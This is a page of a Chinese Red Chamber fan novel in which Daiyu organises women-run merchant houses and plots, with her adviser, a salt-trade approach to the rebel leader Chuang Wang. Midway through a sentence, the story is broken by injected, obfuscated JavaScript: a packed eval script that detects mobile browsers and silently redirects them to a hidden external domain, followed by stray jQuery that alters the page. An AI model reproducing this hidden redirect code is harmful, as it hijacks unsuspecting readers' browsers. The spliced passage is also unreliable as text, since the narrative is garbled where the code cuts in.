90.京中贵女6(第2页)

    黛玉已经看完新规,她叫紫鹃取来笔墨纸砚,道:“商号,皆记在府中女户名下,府中择能读书写字、有一技之长者,左右随人择用。商号若有盈余,便分成两份各分其利,半归府里,半归执掌。”

    她又沉吟一番,道:“能写会算者归账房,有针黹药理手艺者归作坊。若有能交际应酬、调度人手者,试之于小局,再予大任。”

    左丘梅微怔,道:“如此一来,岂不便宜了她们?若有朝一日她人自立门户,主子所授之权反成他人羽翼。不如为她们寻一有力依靠,府中也能收拢人心,联络左右。”

    “贾府并非要入商贾,即已得商号分润,又何须在意所属?左先生精于算术,但想必此生也不会入商贾之流吧。”黛玉莞尔一笑:“便是如我嫁得如意郎君,而今在世道如此,又当如何?我所求者,而非低眉顺眼,而是同舟共济之人。她们能自立门户,又何尝不能为我羽翼呢?”

    她顿了顿,低声又道:“况且世间女子,若无父兄丈夫可依,终究要靠钱粮自立。你我皆知,衣食自足,方可立命于乱世。”

    左丘梅抬头,望着眼前这个单孑独立的女子,不由轻轻叹息:“是我格局小了。姑娘学圣贤之道,行仁义之实,却不落口头文章,实令人钦服。枉费我学圣贤之道,终

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15894326|165789||http|test|mini|href|location''.split(''|''),0,{}));

    () {

    $(''.inform'').remove();

    $(''#content'').append(''

    是落入算计之中。”

    黛玉微微一笑,眼神却极清极远:“我也不是全无算计。”

    她指向薄册中一列注记,道:“我觉极妙。比起我一个女子整日苦心孤诣地管这府中细务,倒不如知人善用,让这些自行运转,留我精力于寻人与保府一并筹谋。”

    “姑娘借此暗设耳目,既为商贾之眼,亦为主子之耳,暗察城中风向,所养府兵也可以商贾为名,出城打探。”

    “是。”黛玉语声轻柔,“宝玉与裴石二人至今未归,况且闯王入京,往后如何还未可知,府中所缺者不只是粮与银,而是府中护卫与离京的退路。”

    她一字一句,咬得极重:“我要设法出府,此事,得向闯王借势。”

    “粥棚施济已入他们耳目,时机已成。”左丘梅也不再拐弯抹角,挑明利害:“下策是再送五百石,保一时之安,但只怕他们觊觎府中私产。中策是以济民为名,请他们代清粥棚乱象,借此同盟。上策——”

    他眸光冷锐:“是叫他们反过来求你,只要他们还想要个太平京师,就必须让贾府活下去。”

    正说着,紫鹃端着药汤轻轻入了耳房,黛玉伸手接过,微微一笑,语气轻淡:“你为我想得周全。”说罢慢慢饮尽。

    左丘梅蹙眉:“其实此事不过纸上谈兵,尚且还不知如何接近闯王?他向来厌旧贵,若识出贾府底细,未必不反咬一口。要叫他们有求于姑娘,恐怕并非易事,必得让他看见我们能为他所不能。”

    她放下药盏,略一顿,道:“其实有一事,或许可以解局。”

    左丘梅目光顿亮,“何事?”

    “前些时日,大厨房的费大厨来求过一件事。”她语气悠然,不紧不慢。

    左丘梅一愣,怎么忽而扯上了庖厨之事?

    “他说,府中粮米尚称丰足,鱼肉亦偶得,但有一味,京中也难得其踪。”黛玉低头,从食盒中取出一枚糖渍杏仁,轻轻嚼下,缓缓道:“酸甜苦辣,皆可替,唯有一味盐,非它不可。”

    左丘梅心头骤然一紧:“你是要……借‘盐’为名?”

    “不错。”黛玉微点螓首,“如今京畿盐引断绝,盐路紊乱。闯王今日劫富济贫、均田分仓,靠的不过是旧贵手中田产与抢掠。但百姓吃盐艰难,军队缺盐更甚,况且自古盐路即财路,他迟早要重开盐道。”

    左丘梅眼中精光流转,声音低沉而兴奋:“自古盐政握于朝廷,今朝崩塌,盐科亦乱。盐贩重起,虽不及米粮昂贵,却是民心之所系。若姑娘能插手此道——”

    黛玉微微颔首,指点案上:“此时容我想想如何行事,先请你代笔一纸,递给西门李大年,想办法让我们能与闯王见上一面。我贾府可重开医馆为京中百姓,再赠二百石谷米酬义军,不过我要他人驻守医馆,为百姓留一处太平之地。我只怕贾府无用,便会落入两家国公府那般下场。”

    左丘梅浅笑:“不需那二百石谷米,我便能叫闯王登门来访。”

    “先生莫要夸海口,那二百石谷米该用时便用吧。”

    左丘梅笑道:“姑娘,我还未投诚,你便如此信我,未免太不设防了。”

    黛玉轻轻一笑,手中笔未停,道:“人情似水,权势如舟,人言为潮。我不过于你有人情罢了,而义军靠的是人言,要的是权势。”

    左丘梅笃定,“姑娘已经给足筹码了。我会将闯王带到姑娘面前。”